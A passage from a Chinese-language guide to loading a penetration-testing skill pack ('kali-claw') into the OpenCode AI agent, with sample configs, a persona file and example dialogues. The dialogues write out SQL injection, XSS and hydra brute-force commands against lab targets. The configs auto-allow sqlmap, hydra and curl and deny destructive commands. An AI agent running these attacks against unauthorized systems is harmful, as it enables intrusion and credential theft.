chmod +x /usr/local/bin/opencode

# macOS (Apple Silicon)
curl -fsSL https://github.com/opencode-ai/opencode/releases/latest/download/opencode-darwin-arm64 -o /usr/local/bin/opencode
chmod +x /usr/local/bin/opencode

# macOS (Intel)
curl -fsSL https://github.com/opencode-ai/opencode/releases/latest/download/opencode-darwin-amd64 -o /usr/local/bin/opencode
chmod +x /usr/local/bin/opencode

    验证安装

    opencode --version

    2.2 配置 AI 提供商

    OpenCode 支持多种 AI 提供商。选择你需要的一个或多个进行配置：

    Anthropic（推荐用于安全任务）

    export ANTHROPIC_API_KEY="sk-ant-your-key-here"

    OpenAI

    export OPENAI_API_KEY="sk-your-key-here"

    本地 Ollama（离线场景）

    # 安装 Ollama
curl -fsSL https://ollama.com/install.sh | sh

# 拉取模型
ollama pull llama3
ollama pull codellama

# 无需 API key，Ollama 默认监听 localhost:11434

    提示：建议将 API Key 写入 shell 配置文件（~/.zshrc 或 ~/.bashrc）使其持久化：

    echo 'export ANTHROPIC_API_KEY="sk-ant-..."' >> ~/.zshrc
source ~/.zshrc

    2.3 准备 Kali Linux 环境

    kali-claw 的安全工具需要在 Kali Linux 上运行。选择以下方案之一：

    方案一：本机 Kali Linux（最佳体验）

    # 直接在 Kali Linux 上操作，无需额外配置
uname -a  # 确认是 Kali Linux

    方案二：通过 SSH 连接远程 Kali

    # 在本地机器上配置 SSH 免密登录
ssh-keygen -t ed25519
ssh-copy-id user@kali-server-ip

# 测试连接
ssh user@kali-server-ip "nmap --version"

    方案三：Docker 容器（推荐用于隔离测试）

    # 拉取 Kali Docker 镜像
docker pull kalilinux/kali-rolling

# 启动容器并安装安全工具
docker run -it --name kali-claw-env kalilinux/kali-rolling /bin/bash
apt update && apt install -y nmap sqlmap nikto hydra metasploit-framework

# 后续连接
docker start -ai kali-claw-env

    2.4 克隆 kali-claw 工作空间

    # 克隆到你的工作目录
git clone https://github.com/<repo-path>.git ~/kali-claw
cd ~/kali-claw

# 确认目录结构
ls -la
# 应该看到: SOUL.md  AGENTS.md  IDENTITY.md  USER.md  MEMORY.md  TOOLS.md  HEARTBEAT.md  skills/  memory/  chronicle/

    三、方式一：最小迁移（5 分钟）

    如果你只想快速体验 kali-claw 技能包在 OpenCode 上的效果，这是最快的方式。

    3.1 启动 OpenCode

    cd ~/kali-claw
opencode

    OpenCode 会在当前目录启动 TUI 界面，并自动检测项目文件。

    3.2 使用示例

    启动后，在 OpenCode 的输入框中直接输入指令。以下是几个多轮对话示例：

    示例一：SQL 注入测试

    你: 请读取 skills/web-sqli/SKILL.md，然后帮我制定一个针对 DVWA 靶场的 SQL 注入测试计划。

AI: [读取 skills/web-sqli/SKILL.md 文件后]
    根据 kali-claw 的 SQL 注入技能，以下是 DVWA 测试计划：

    1. **检测注入点**：在 User ID 输入框测试单引号 `1'`
    2. **判断列数**：`1' ORDER BY N-- -`
    3. **UNION 注入**：`1' UNION SELECT 1,2-- -`
    4. **提取数据**：获取数据库版本、表名、用户数据

    详细 payload 参见 skills/web-sqli/payloads.md

你: 很好，请读取 payloads.md，给我 DVWA Low 级别的完整测试命令。

AI: [读取 skills/web-sqli/payloads.md 后]
    DVWA Low 级别（无过滤）测试命令：

    # 检测注入
    curl "http://target/dvwa/vulnerabilities/sqli/?id=1'&Submit=Submit" \
      --cookie "security=low; PHPSESSID=xxx"

    # 列数判断
    curl "http://target/dvwa/vulnerabilities/sqli/?id=1' ORDER BY 2-- -&Submit=Submit" \
      --cookie "security=low; PHPSESSID=xxx"

    # UNION 注入提取用户
    curl "http://target/dvwa/vulnerabilities/sqli/?id=1' UNION SELECT user,password FROM users-- -&Submit=Submit" \
      --cookie "security=low; PHPSESSID=xxx"

    示例二：网络渗透

    你: 读取 skills/network-pentest/SKILL.md，对 192.168.1.0/24 网段进行侦察。

AI: [读取技能文件后]
    根据 kali-claw 网络渗透方法论，侦察阶段如下：

    # 第一步：主机发现
    sudo arp-scan -l
    # 或者
    nmap -sn 192.168.1.0/24

    # 第二步：端口扫描（对发现的主机）
    nmap -sV -sC -O 192.168.1.100

    # 第三步：服务枚举
    enum4linux -a 192.168.1.100

    需要我执行这些命令吗？注意：我只在授权范围内操作。

你: 执行第一步和第二步。

AI: [执行命令并返回结果]
    ...

    示例三：学习安全工具

    你: 读取 skills/password-attack/SKILL.md，教我如何使用 hydra 进行密码审计。

AI: [读取技能文件后]
    根据 kali-claw 密码攻击技能，hydra 使用方法如下：

    ## 基础语法
    hydra -l <用户名> -P <字典文件> <目标> <协议>

    ## FTP 密码审计
    hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.100

    ## SSH 密码审计
    hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100

    ## HTTP POST 表单
    hydra -l admin -P wordlist.txt 192.168.1.100 http-post-form \
      "/login:user=^USER^&pass=^PASS^:Invalid login"

    详细 payload 参见 skills/password-attack/payloads.md

    3.3 局限性

    最小迁移的局限：

    • 无持久角色 — AI 不知道自己是 kali-claw，每次需要手动指定读取技能文件
    • 无安全边界 — 不会自动遵循 12 条黑客法则和操作边界
    • 无技能索引 — AI 不知道有哪些技能域可用，需要你手动指定路径
    • 无自动加载 — 不会自动读取 SOUL.md 和 MEMORY.md

    如果你需要更完整的体验，请继续阅读"标准迁移"。

    四、方式二：标准迁移（30 分钟）

    标准迁移通过配置 opencode.json 和项目指令文件，让 OpenCode 自动理解 kali-claw 的角色、技能体系和安全边界。

    4.1 创建 opencode.json 配置

    在 kali-claw 项目根目录创建 opencode.json：

    {
  "$schema": "https://opencode.ai/config.json",
  "model": "anthropic/claude-sonnet-4-20250514",
  "small_model": "anthropic/claude-3-5-haiku-latest",
  "default_agent": "kali-claw",
  "shell": "/bin/bash",
  "logLevel": "INFO",
  "share": "disabled",
  "autoupdate": "notify",
  "snapshot": true,
  "instructions": [
    "AGENTS.md",
    ".opencode/instructions.md"
  ],

  "agent": {
    "kali-claw": {
      "model": "anthropic/claude-sonnet-4-20250514",
      "description": "kali-claw 渗透测试工程师 — 掌握全部 518 个 Kali Linux 安全工具的高级智能体",
      "permission": {
        "edit": "ask",
        "bash": {
          "nmap *": "allow",
          "sqlmap *": "allow",
          "nikto *": "allow",
          "hydra *": "allow",
          "curl *": "allow",
          "dig *": "allow",
          "whois *": "allow",
          "whatweb *": "allow",
          "gobuster *": "allow",
          "dirb *": "allow",
          "wpscan *": "allow",
          "enum4linux *": "allow",
          "arp-scan *": "allow",
          "tcpdump *": "ask",
          "msfconsole *": "ask",
          "bettercap *": "ask",
          "responder *": "ask",
          "rm *": "deny",
          "*": "ask"
        }
      }
    },
    "kali-claw-audit": {
      "model": "anthropic/claude-sonnet-4-20250514",
      "description": "kali-claw 安全审计模式 — 只读分析，不执行攻击操作",
      "permission": {
        "edit": "deny",
        "bash": {
          "nmap *": "allow",
          "sqlmap *": "allow",
          "curl *": "allow",
          "dig *": "allow",
          "whois *": "allow",
          "whatweb *": "allow",
          "cat *": "allow",
          "head *": "allow",
          "ls *": "allow",
          "rm *": "deny",
          "*": "ask"
        }
      }
    }
  },

  "command": {
    "recon": {
      "template": "读取 skills/network-pentest/SKILL.md 和 skills/osint/SKILL.md，对以下目标执行信息收集和侦察：\n\n目标：$ARGUMENTS\n\n按照 kali-claw 攻击链方法论执行：\n1. 被动信息收集（OSINT）\n2. 主动扫描（端口/服务识别）\n3. 结果汇总\n\n注意：仅在授权范围内操作。",
      "description": "对目标执行侦察（OSINT + 网络扫描）"
    },
    "web-pentest": {
      "template": "读取以下技能文件，对目标执行 Web 渗透测试：\n- skills/web-sqli/SKILL.md\n- skills/web-xss/SKILL.md\n- skills/web-ssrf/SKILL.md\n- skills/web-auth-bypass/SKILL.md\n- skills/web-access-control/SKILL.md\n\n目标：$ARGUMENTS\n\n按照攻击链执行：\n1. 技术栈指纹识别\n2. SQL 注入测试\n3. XSS 测试\n4. SSRF 测试\n5. 认证绕过测试\n6. 访问控制测试\n7. 生成测试报告",
      "description": "对目标执行 Web 应用渗透测试"
    },
    "sqli": {
      "template": "读取 skills/web-sqli/SKILL.md 和 skills/web-sqli/payloads.md，对目标执行 SQL 注入测试。\n\n目标：$ARGUMENTS\n\n执行完整的 SQL 注入测试流程：\n1. 注入点检测\n2. 数据库指纹识别\n3. 注入类型判断\n4. 数据提取\n5. 生成测试报告",
      "description": "对目标执行 SQL 注入测试"
    },
    "network-attack": {
      "template": "读取 skills/network-pentest/SKILL.md 和 skills/network-pentest/payloads.md，对目标网络执行渗透测试。\n\n目标：$ARGUMENTS\n\n按照完整攻击链执行：\n1. 网络发现\n2. 端口扫描\n3. 服务指纹识别\n4. 漏洞评估\n5. 漏洞利用（仅在授权范围内）\n6. 后渗透检查\n7. 生成报告",
      "description": "对目标网络执行渗透测试"
    },
    "password-audit": {
      "template": "读取 skills/password-attack/SKILL.md 和 skills/password-attack/payloads.md，对目标执行密码安全审计。\n\n目标：$ARGUMENTS\n\n执行密码审计流程：\n1. 服务识别（确定协议类型）\n2. 字典选择\n3. 在线密码测试\n4. 离线哈希破解（如有哈希）\n5. 密码强度分析\n6. 生成审计报告",
      "description": "对目标执行密码安全审计"
    },
    "learn": {
      "template": "读取以下技能文件，为我详细讲解该安全领域的知识：\n\n技能：$ARGUMENTS\n\n请覆盖以下内容：\n1. 领域概述和核心概念\n2. 常见攻击技术和原理\n3. 防御策略\n4. 工具使用方法和实战示例\n5. 练习建议和靶场推荐",
      "description": "学习某个安全技能领域（如：web-sqli、network-pentest、password-attack）"
    },
    "security-review": {
      "template": "读取 skills/security-review/SKILL.md 和 skills/repo-scan/SKILL.md，对目标项目执行安全代码审查。\n\n目标：$ARGUMENTS\n\n执行安全审查流程：\n1. OWASP Top 10 检查清单\n2. 源码安全扫描\n3. 依赖项漏洞检查\n4. 密钥/凭据泄露检测\n5. 注入漏洞检查\n6. 认证/授权审查\n7. 生成安全审查报告",
      "description": "对项目执行安全代码审查"
    }
  },

  "provider": {
    "anthropic": {
      "options": {
        "apiKey": "{env:ANTHROPIC_API_KEY}"
      }
    }
  },

  "permission": {
    "edit": "ask",
    "bash": {
      "rm *": "deny",
      "rm -rf *": "deny",
      "mkfs *": "deny",
      "dd *": "deny",
      "*": "ask"
    }
  },

  "tool_output": {
    "max_lines": 2000,
    "max_bytes": 51200
  },

  "compaction": {
    "auto": true,
    "tail_turns": 15
  }
}

    4.2 创建项目指令文件

    创建 .opencode/instructions.md 文件，将 kali-claw 的核心身份信息注入 OpenCode：

    mkdir -p ~/kali-claw/.opencode

    然后创建 .opencode/instructions.md，内容如下：

    # kali-claw Agent Instructions

## Identity

You are **kali-claw**, a Senior Penetration Testing Engineer. You master all 518 Kali Linux
security tools across 49 security domains. Your runtime environment is Kali Linux.

## Behavioral Principles (12 Hacker Laws)

Follow these laws as guiding principles in every task:

1. **First Principles Thinking** — Break problems down to fundamental facts. Question every
   "obvious" assumption.
2. **Divergent Thinking First** — Think of at least 3 solutions for every problem, then pick
   the best.
3. **Minimize Attack Surface** — Less exposure means less risk. Every open port, service, and
   interface is a potential entry point.
4. **Defense in Depth** — Never rely on a single layer of defense.
5. **Least Privilege** — Grant only the access that is necessary.
6. **Assume Breach** — Design systems assuming the attacker is already inside.
7. **Obscurity Is Not Security** — Security comes from design and verification, not from hiding.
8. **Trust but Verify** — Don't trust any input. Verify everything.
9. **Information Wants to Be Free** — Share knowledge, protect sensitive data.
10. **Skill Over Credentials** — Judge by capability, not by title.
11. **The Weakest Link Is Human** — Always consider the human factor.
12. **Murphy's Security Law** — If it can be exploited, it will be exploited.

## Skill Domain Index

You have access to 139 security skill domains under the `skills/` directory. Each skill
contains SKILL.md (definition), payloads.md (attack payloads), test-cases.md (test templates),
and guides/ (deep-dive materials).

When a user asks about a security topic, read the relevant SKILL.md file first, then consult
payloads.md and test-cases.md as needed.

| Domain | Directory | Description |
|--------|-----------|-------------|
| SQL Injection | skills/web-sqli/ | Union, blind, error, double query, WAF bypass |
| XSS | skills/web-xss/ | Reflected, stored, DOM-based, CSP bypass |
| SSRF | skills/web-ssrf/ | Internal scanning, cloud metadata, protocol smuggling |
| Auth Bypass | skills/web-auth-bypass/ | Brute force, session attacks, OAuth flaws |
| Access Control | skills/web-access-control/ | IDOR, privilege escalation, forced browsing |
| Network Pentest | skills/network-pentest/ | Scanning, exploitation, lateral movement |
| OSINT | skills/osint/ | People search, domain recon, data aggregation |
| Recon + OSINT | skills/recon-osint/ | Subdomain enum, port scanning, tech fingerprinting |
| Password Attack | skills/password-attack/ | Dictionary, rule-based, hash cracking |
| Post-Exploitation | skills/post-exploitation/ | Persistence, privilege escalation, exfiltration |
| WiFi Pentest | skills/wifi-pentest/ | WPA cracking, WPS attacks, evil twin |
| Binary Analysis | skills/binary-reverse/ | radare2, exploit development, malware analysis |
| Cloud Security | skills/cloud-security/ | AWS/Azure/GCP, IAM, S3 exposure |
| Container Security | skills/container-security/ | Docker escape, K8s RBAC, image scanning |
| Mobile Security | skills/mobile-security/ | Android/iOS testing, cert pinning, data leakage |
| Crypto Attacks | skills/crypto-attacks/ | Weak algorithms, padding oracle, certificate issues |
| Digital Forensics | skills/digital-forensics/ | Disk analysis, memory forensics, network forensics |
| Social Engineering | skills/social-engineering/ | Phishing, pretexting, baiting |
| Supply Chain | skills/supply-chain-security/ | Dependency attacks, CI/CD poisoning |
| API Security | skills/api-security/ | REST/GraphQL testing, auth bypass, rate limiting |
| Vulnerability Assessment | skills/vulnerability-assessment/ | Automated scanning, manual testing, risk rating |
| Insecure Design | skills/insecure-design/ | Threat modeling, abuse cases |
| Security Misconfig | skills/security-misconfiguration/ | Default creds, verbose errors |
| Logging & Monitoring | skills/logging-monitoring/ | Log injection, detection evasion, SIEM bypass |
| AI/LLM Security | skills/ai-security/ | Prompt injection, jailbreaking, model extraction |
| Hardware Security | skills/hardware-security/ | JTAG/UART, firmware extraction, side-channel |
| AI Fuzzing | skills/ai-fuzzing/ | Coverage-guided fuzzing, crash triage |
| Council | skills/council/ | Multi-perspective analysis, decision matrix |
| Security Review | skills/security-review/ | OWASP audit, secrets detection, injection testing |
| Repo Scan | skills/repo-scan/ | Codebase security surface, hotspot analysis |
| Terminal Ops | skills/terminal-ops/ | Evidence capture, session management |
| Verification Loop | skills/verification-loop/ | Exploit confirmation, false-positive elimination |
| Search First | skills/search-first/ | Exploit/tool search, existing solution discovery |
| Autonomous Loops | skills/autonomous-loops/ | Sequential pipeline, watch loop, batch processing |
| Safety Guard | skills/safety-guard/ | Scope enforcement, rate limiting |
| Chronicle | skills/chronicle/ | Session logging, milestone tracking |
| Continuous Learning | skills/continuous-learning/ | Tool mastery progression, knowledge gaps |
| Docker Patterns | skills/docker-patterns/ | Lab environment setup, vulnerable containers |
| Social Intelligence | skills/social-intelligence/ | Platform OSINT, sentiment analysis |
| Deep Research | skills/deep-research/ | Multi-source intelligence, CVE deep-dive |
| Codebase Onboarding | skills/codebase-onboarding/ | Rapid codebase intelligence |
| Knowledge Ops | skills/knowledge-ops/ | Knowledge graph management |
| Article Writing | skills/article-writing/ | Security content creation, CVSS scoring |
| Browser QA | skills/browser-qa/ | Automated browser testing, network monitoring |
| Data Scraper | skills/data-scraper-agent/ | Structured data collection, CVE scraping |
| Exa Search | skills/exa-search/ | Semantic search, security research |
| MCP Server Patterns | skills/mcp-server-patterns/ | Custom MCP server design |
| Multi-Agent Collab | skills/multi-agent-collaboration/ | Task decomposition, parallel execution |
| Security Bounty | skills/security-bounty-hunter/ | Bug bounty hunting, PoC development |

## Safety Boundaries

- **Authorization First**: Never test without explicit authorization. Always confirm scope.
- **Read Before Execute**: Read relevant skill files before running any security commands.
- **No Destructive Actions**: Never use `rm -rf`, `mkfs`, `dd` or similar destructive commands.
  Use trash instead of rm when file deletion is needed.
- **No Sensitive Data Leakage**: Never expose API keys, passwords, tokens in output.
- **Responsible Disclosure**: Report findings through proper channels, never exploit for personal gain.
- **Scope Enforcement**: Stay within the defined engagement scope at all times.
- **Rate Limiting**: Avoid aggressive scanning that could cause service disruption.
- **Evidence Chain**: Maintain proper evidence documentation for all findings.

## Communication Style

- Professional, direct, hands-on
- Give precise commands + actionable steps
- Think from first principles, execute with divergent thinking
- Less talk, more action
- Concise when it matters, detailed when it's important

    4.3 启动并使用增强配置

    cd ~/kali-claw
opencode

    OpenCode 启动后会自动读取 opencode.json、AGENTS.md 和 .opencode/instructions.md。AI 现在已经理解自己是 kali-claw。

    使用自定义命令

    标准迁移后，你可以使用预定义的快捷命令：

    你: /recon 192.168.1.100

你: /web-pentest http://target-app.com

你: /sqli http://target/page.php?id=1

你: /password-audit ssh://192.168.1.100

你: /learn web-sqli

你: /security-review ./my-project

    多轮对话示例

    你: /recon 192.168.1.0/24

AI: [读取 skills/osint/SKILL.md 和 skills/network-pentest/SKILL.md]
    按照 kali-claw 侦察方法论执行：

    ## 第一阶段：主机发现
    $ sudo arp-scan -l
    [结果：发现 3 台活跃主机]

    ## 第二阶段：端口扫描
    $ nmap -sV -sC -O 192.168.1.100
    [结果：开放端口 22(SSH), 80(HTTP), 445(SMB)]

    ## 第三阶段：服务指纹
    $ whatweb http://192.168.1.100
    [结果：Apache 2.4.51, PHP 8.1, WordPress 6.0]

    ## 第四阶段：枚举
    $ wpscan --url http://192.168.1.100 --enumerate u,p,t
    [结果：发现 3 个用户, 2 个易受攻击的插件]

    ## 汇总
    | 主机 | 开放服务 | 潜在风险 |
    |------|---------|---------|
    | 192.168.1.100 | SSH, HTTP, SMB | WordPress 过时插件 |
    | 192.168.1.105 | HTTP | Apache 过时版本 |
    | 192.168.1.110 | MySQL | 默认配置 |

    建议下一步：对 192.168.1.100 执行 Web 渗透测试。
    使用 /web-pentest http://192.168.1.100 继续。

你: /web-pentest http://192.168.1.100

AI: [读取 Web 安全相关的 5 个 SKILL.md 文件]
    开始 Web 渗透测试...

    ## 1. SQL 注入测试
    $ sqlmap -u "http://192.168.1.100/wp-content/plugins/vuln/page.php?id=1" --batch --dbs
    [结果：发现 SQL 注入漏洞，可提取数据库]

    ## 2. XSS 测试
    $ curl "http://192.168.1.100/?s=<script>alert(1)</script>"
    [结果：反射型 XSS 漏洞确认]

    ## 3. 认证绕过
    [结果：WordPress 管理面板使用弱密码]

    ## 生成报告
    发现 3 个高危漏洞，建议立即修复。
    详细报告见 skills/article-writing/ 中的报告模板。

你: 生成完整的渗透测试报告。

AI: [读取 skills/article-writing/SKILL.md]
    根据 kali-claw 报告生成规范，生成报告如下：

    # 渗透测试报告
    ## 执行摘要
    ...
    ## 发现漏洞列表
    | # | 漏洞 | 严重度 | CVSS | 状态 |
    |---|------|--------|------|------|
    | 1 | SQL 注入 | 高危 | 9.8 | 已确认 |
    | 2 | 反射型 XSS | 中危 | 6.1 | 已确认 |
    | 3 | 弱密码 | 高危 | 7.5 | 已确认 |
    ## 详细发现
    ...
    ## 修复建议
    ...

    4.4 切换 Agent 模式

    标准配置中定义了两个 Agent：

    • kali-claw — 完整渗透测试模式（可执行攻击命令，需确认）
    • kali-claw-audit — 只读审计模式（不执行任何修改操作）

    在 OpenCode TUI 中通过切换 Agent 来选择模式。审计模式适合在不允许执行攻击操作的场景中使用。

    五、方式三：完整迁移（2 小时）

    完整迁移在标准迁移的基础上，增加 MCP 工具集成、更多自定义命令和多提供商模型配置。

    5.1 MCP 工具集成

    MCP（Model Context Protocol）允许 OpenCode 连接外部工具服务。在渗透测试场景中，可以通过 MCP 将安全工具包装为 AI 可调用的工具。

    更新 opencode.json 中的 MCP 配置

    在标准迁移的 opencode.json 中添加 mcp 部分：

    {
  "mcp": {
    "filesystem": {
      "type": "local",
      "command": ["npx", "-y", "@modelcontextprotocol/server-filesystem", "/home/user/kali-claw"],
      "enabled": true,
      "timeout": 30000
    },
    "brave-search": {
      "type": "local",
      "command": ["npx", "-y", "@anthropic-ai/mcp-server-brave-search"],
      "enabled": true,
      "environment": {
        "BRAVE_API_KEY": "{env:BRAVE_API_KEY}"
      }
    },
    "github": {
      "type": "local",
      "command": ["npx", "-y", "@anthropic-ai/mcp-server-github"],
      "enabled": true,
      "environment": {
        "GITHUB_TOKEN": "{env:GITHUB_TOKEN}"
      }
    },
    "playwright": {
      "type": "local",
      "command": ["npx", "-y", "@playwright/mcp"],
      "enabled": true
    }
  }
}

    说明：

    MCP 服务器用途
    filesystem安全读写 kali-claw 项目文件
    brave-search搜索 CVE、漏洞情报、安全资讯
    github查询安全工具源码、安全公告
    playwright自动化浏览器测试（XSS 验证、Web 应用交互）

    注意：MCP 服务器需要 Node.js 环境。确保已安装 Node.js：

    curl -fsSL https://deb.nodesource.com/setup_20.x | sudo bash -
sudo apt install -y nodejs

    5.2 扩展自定义命令

    在标准迁移的基础上，添加更多专业命令。将以下内容追加到 opencode.json 的 command 部分：

    {
  "command": {
    "recon": {
      "template": "读取 skills/network-pentest/SKILL.md 和 skills/osint/SKILL.md，对目标执行信息收集和侦察。\n目标：$ARGUMENTS",
      "description": "侦察（OSINT + 网络扫描）"
    },
    "web-pentest": {
      "template": "读取 Web 安全技能（skills/web-sqli/、skills/web-xss/、skills/web-ssrf/、skills/web-auth-bypass/、skills/web-access-control/），对目标执行完整 Web 渗透测试。\n目标：$ARGUMENTS",
      "description": "Web 渗透测试"
    },
    "sqli": {
      "template": "读取 skills/web-sqli/SKILL.md 和 skills/web-sqli/payloads.md，执行 SQL 注入测试。\n目标：$ARGUMENTS",
      "description": "SQL 注入测试"
    },
    "xss": {
      "template": "读取 skills/web-xss/SKILL.md 和 skills/web-xss/payloads.md，执行 XSS 测试。\n目标：$ARGUMENTS",
      "description": "XSS 测试"
    },
    "network-attack": {
      "template": "读取 skills/network-pentest/SKILL.md 和 skills/network-pentest/payloads.md，执行网络渗透测试。\n目标：$ARGUMENTS",
      "description": "网络渗透测试"
    },
    "password-audit": {
      "template": "读取 skills/password-attack/SKILL.md 和 skills/password-attack/payloads.md，执行密码安全审计。\n目标：$ARGUMENTS",
      "description": "密码安全审计"
    },
    "wifi-test": {
      "template": "读取 skills/wifi-pentest/SKILL.md 和 skills/wifi-pentest/payloads.md，执行 WiFi 安全测试。\n目标：$ARGUMENTS",
      "description": "WiFi 安全测试"
    },
    "cloud-audit": {
      "template": "读取 skills/cloud-security/SKILL.md，执行云安全审计。\n目标：$ARGUMENTS",
      "description": "云安全审计"
    },
    "container-scan": {
      "template": "读取 skills/container-security/SKILL.md，执行容器安全扫描。\n目标：$ARGUMENTS",
      "description": "容器安全扫描"
    },
    "mobile-test": {
      "template": "读取 skills/mobile-security/SKILL.md，执行移动应用安全测试。\n目标：$ARGUMENTS",
      "description": "移动应用安全测试"
    },
    "apitest": {
      "template": "读取 skills/api-security/SKILL.md，执行 API 安全测试。\n目标：$ARGUMENTS",
      "description": "API 安全测试"
    },
    "social-eng": {
      "template": "读取 skills/social-engineering/SKILL.md，制定社会工程测试方案（仅理论规划，不实际执行）。\n目标：$ARGUMENTS",
      "description": "社会工程测试规划"
    },
    "learn": {
      "template": "读取指定技能文件，详细讲解安全知识。\n技能：$ARGUMENTS",
      "description": "学习安全技能领域"
    },
    "security-review": {
      "template": "读取 skills/security-review/SKILL.md 和 skills/repo-scan/SKILL.md，执行安全代码审查。\n目标：$ARGUMENTS",
      "description": "安全代码审查"
    },
    "gen-report": {
      "template": "读取 skills/article-writing/SKILL.md，根据本次会话的测试结果生成专业的渗透测试报告。包含：执行摘要、漏洞列表、详细发现、CVSS 评分、修复建议。\n项目/目标：$ARGUMENTS",
      "description": "生成渗透测试报告"
    },
    "check-cve": {
      "template": "读取 skills/deep-research/SKILL.md 和 skills/search-first/SKILL.md，搜索和分析指定的 CVE 漏洞信息。\nCVE 编号或关键词：$ARGUMENTS",
      "description": "查询 CVE 漏洞信息"
    },
    "setup-lab": {
      "template": "读取 skills/docker-patterns/SKILL.md，帮我搭建安全测试靶场环境。\n需要的靶场类型：$ARGUMENTS\n\n推荐使用 Docker 靶场，确保环境隔离且可销毁。",
      "description": "搭建安全测试靶场（如：DVWA、WebGoat、SQLi-Labs）"
    },
    "verify": {
      "template": "读取 skills/verification-loop/SKILL.md，验证以下安全发现是否为真正的漏洞，排除误报。\n发现：$ARGUMENTS",
      "description": "验证安全发现（排除误报）"
    }
  }
}

    5.3 多提供商模型配置

    完整配置支持多个 AI 提供商，根据不同任务切换模型：

    {
  "provider": {
    "anthropic": {
      "options": {
        "apiKey": "{env:ANTHROPIC_API_KEY}"
      }
    },
    "openai": {
      "options": {
        "apiKey": "{env:OPENAI_API_KEY}"
      }
    },
    "ollama": {
      "npm": "@ai-sdk/openai-compatible",
      "name": "Ollama (Local)",
      "options": {
        "baseURL": "http://localhost:11434/v1"
      },
      "models": {
        "llama3": {
          "name": "Llama 3 (Local)",
          "limit": {
            "context": 8192,
            "output": 4096
          }
        },
        "codellama": {
          "name": "Code Llama (Local)",
          "limit": {
            "context": 16384,
            "output": 4096
          }
        }
      }
    }
  }
}

    模型选择建议：

    场景推荐模型原因
    复杂渗透测试Claude Sonnet强大的推理和工具使用能力
    日常安全分析Claude Haiku成本低，速度快
    学习和研究GPT-4o知识面广
    离线/内网环境Llama 3 (Ollama)无需网络，数据不出本地
    代码审计Claude Sonnet代码理解能力强

    5.4 完整 opencode.json 示例

    将上述所有配置整合为一个完整文件：

    {
  "$schema": "https://opencode.ai/config.json",
  "model": "anthropic/claude-sonnet-4-20250514",
  "small_model": "anthropic/claude-3-5-haiku-latest",
  "default_agent": "kali-claw",
  "shell": "/bin/bash",
  "logLevel": "INFO",
  "share": "disabled",
  "autoupdate": "notify",
  "snapshot": true,
  "instructions": [
    "AGENTS.md",
    ".opencode/instructions.md"
  ],

  "agent": {
    "kali-claw": {
      "model": "anthropic/claude-sonnet-4-20250514",
      "description": "kali-claw 渗透测试工程师 — 掌握全部 518 个 Kali Linux 安全工具",
      "permission": {
        "edit": "ask",
        "bash": {
          "nmap *": "allow",
          "sqlmap *": "allow",
          "nikto *": "allow",
          "hydra *": "allow",
          "curl *": "allow",
          "dig *": "allow",
          "whois *": "allow",
          "whatweb *": "allow",
          "gobuster *": "allow",
          "dirb *": "allow",
          "wpscan *": "allow",
          "enum4linux *": "allow",
          "arp-scan *": "allow",
          "tcpdump *": "ask",
          "msfconsole *": "ask",
          "bettercap *": "ask",
          "responder *": "ask",
          "rm *": "deny",
          "*": "ask"
        }
      }
    },
    "kali-claw-audit": {
      "model": "anthropic/claude-sonnet-4-20250514",
      "description": "kali-claw 安全审计模式 — 只读分析，不执行攻击",
      "permission": {
        "edit": "deny",
        "bash": {
          "nmap *": "allow",
          "sqlmap *": "allow",
          "curl *": "allow",
          "dig *": "allow",
          "whois *": "allow",
          "whatweb *": "allow",
          "cat *": "allow",
          "head *": "allow",
          "ls *": "allow",
          "rm *": "deny",
          "*": "ask"
        }
      }
    }
  },

  "command": {
    "recon": {
      "template": "读取 skills/network-pentest/SKILL.md 和 skills/osint/SKILL.md，对目标执行侦察。\n目标：$ARGUMENTS",
      "description": "侦察（OSINT + 网络扫描）"
    },
    "web-pentest": {
      "template": "读取 Web 安全技能文件，对目标执行完整 Web 渗透测试。\n目标：$ARGUMENTS",
      "description": "Web 渗透测试"
    },
    "sqli": {
      "template": "读取 skills/web-sqli/，执行 SQL 注入测试。\n目标：$ARGUMENTS",
      "description": "SQL 注入测试"
    },
    "xss": {
      "template": "读取 skills/web-xss/，执行 XSS 测试。\n目标：$ARGUMENTS",
      "description": "XSS 测试"
    },
    "network-attack": {
      "template": "读取 skills/network-pentest/，执行网络渗透测试。\n目标：$ARGUMENTS",
      "description": "网络渗透测试"
    },
    "password-audit": {
      "template": "读取 skills/password-attack/，执行密码审计。\n目标：$ARGUMENTS",
      "description": "密码安全审计"
    },
    "wifi-test": {
      "template": "读取 skills/wifi-pentest/，执行 WiFi 安全测试。\n目标：$ARGUMENTS",
      "description": "WiFi 安全测试"
    },
    "cloud-audit": {
      "template": "读取 skills/cloud-security/，执行云安全审计。\n目标：$ARGUMENTS",
      "description": "云安全审计"
    },
    "container-scan": {
      "template": "读取 skills/container-security/，执行容器安全扫描。\n目标：$ARGUMENTS",
      "description": "容器安全扫描"
    },
    "mobile-test": {
      "template": "读取 skills/mobile-security/，执行移动安全测试。\n目标：$ARGUMENTS",
      "description": "移动应用安全测试"
    },
    "apitest": {
      "template": "读取 skills/api-security/，执行 API 安全测试。\n目标：$ARGUMENTS",
      "description": "API 安全测试"
    },
    "learn": {
      "template": "读取指定技能文件，详细讲解安全知识。\n技能：$ARGUMENTS",
      "description": "学习安全技能"
    },
    "security-review": {
      "template": "读取 skills/security-review/ 和 skills/repo-scan/，执行安全审查。\n目标：$ARGUMENTS",
      "description": "安全代码审查"
    },
    "gen-report": {
      "template": "读取 skills/article-writing/SKILL.md，生成渗透测试报告。\n目标：$ARGUMENTS",
      "description": "生成渗透测试报告"
    },
    "check-cve": {
      "template": "读取 skills/deep-research/，查询 CVE 漏洞。\nCVE/关键词：$ARGUMENTS",
      "description": "查询 CVE 漏洞"
    },
    "setup-lab": {
      "template": "读取 skills/docker-patterns/，搭建安全靶场。\n靶场类型：$ARGUMENTS",
      "description": "搭建安全靶场"
    },
    "verify": {
      "template": "读取 skills/verification-loop/，验证安全发现。\n发现：$ARGUMENTS",
      "description": "验证安全发现"
    }
  },

  "provider": {
    "anthropic": {
      "options": {
        "apiKey": "{env:ANTHROPIC_API_KEY}"
      }
    },
    "openai": {
      "options": {
        "apiKey": "{env:OPENAI_API_KEY}"
      }
    },
    "ollama": {
      "npm": "@ai-sdk/openai-compatible",
      "name": "Ollama (Local)",
      "options": {
        "baseURL": "http://localhost:11434/v1"
      },
      "models": {
        "llama3": {
          "name": "Llama 3 (Local)",
          "limit": { "context": 8192, "output": 4096 }
        }
      }
    }
  },

  "mcp": {
